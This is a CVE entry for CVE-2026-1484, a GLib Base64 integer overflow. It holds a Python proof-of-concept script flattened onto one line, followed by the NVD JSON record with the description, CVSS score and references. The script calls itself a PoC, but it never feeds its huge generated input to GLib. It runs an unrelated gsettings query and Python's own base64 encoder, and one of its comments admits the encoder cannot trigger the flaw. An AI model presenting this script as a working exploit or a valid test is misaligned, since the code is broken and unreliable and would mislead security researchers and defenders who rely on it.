CVE-2026-1484

import subprocess import sys # CVE-2026-1484 PoC - GLib Base64 Integer Overflow # This PoC demonstrates triggering the integer overflow in GLib Base64 encoding def generate_large_base64_input(): """ Generate a large input that may trigger integer overflow in GLib Base64 encoding. The vulnerability occurs when input size causes buffer length calculation errors. """ # Create data that when Base64 encoded, exceeds buffer allocation # Typical overflow trigger: input size near integer limits target_size = 0x3FFFFFFF # Close to INT_MAX large_data = b'A' * target_size return large_data def test_with_glib_tools(): """ Test using glib-based command line tools if available """ # Method 1: Using gsettings (GLib-based tool) try: large_input = generate_large_base64_input() # This would cause GLib to process the large Base64 data # In vulnerable versions, this may trigger buffer overflow result = subprocess.run( ['gsettings', 'get', 'org.gnome.system.proxy', 'http-host'], capture_output=True, timeout=5 ) except Exception as e: print(f'Error: {e}') def trigger_via_python_gi(): """ Trigger vulnerability via Python GObject Introspection if available """ try: import base64 large_data = generate_large_base64_input() # In Python, this won't trigger GLib vulnerability directly # but demonstrates the input that would trigger it in native GLib apps encoded = base64.b64encode(large_data) print(f'Generated {len(encoded)} bytes of Base64 data') except Exception as e: print(f'Error: {e}') if __name__ == '__main__': print('CVE-2026-1484 PoC - GLib Base64 Integer Overflow') print('This demonstrates the input that triggers the vulnerability') test_with_glib_tools() trigger_via_python_gi()

{"cve": {"id": "CVE-2026-1484", "sourceIdentifier": "[email protected]", "published": "2026-01-27T14:15:56.050", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in the GLib Base64 encoding routine when processing very large input data. Due to incorrect use of integer types during length calculation, the library may miscalculate buffer boundaries. This can cause memory writes outside the allocated buffer. Applications that process untrusted or extremely large Base64 input using GLib may crash or behave unpredictably."}, {"lang": "es", "value": "Se encontró una falla en la rutina de codificación Base64 de GLib al procesar datos de entrada muy grandes. Debido al uso incorrecto de tipos de enteros durante el cálculo de la longitud, la librería puede calcular erróneamente los límites del búfer. Esto puede causar escrituras en memoria fuera del búfer asignado. Las aplicaciones que procesan entrada Base64 no confiable o extremadamente grande usando GLib pueden fallar o comportarse de manera impredecible."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:L", "baseScore": 4.2, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-1484", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2433259", "source": "[email protected]"}, {"url": "https://gitlab.gnome.org/GNOME/glib/-/issues/3870", "source": "[email protected]"}]}}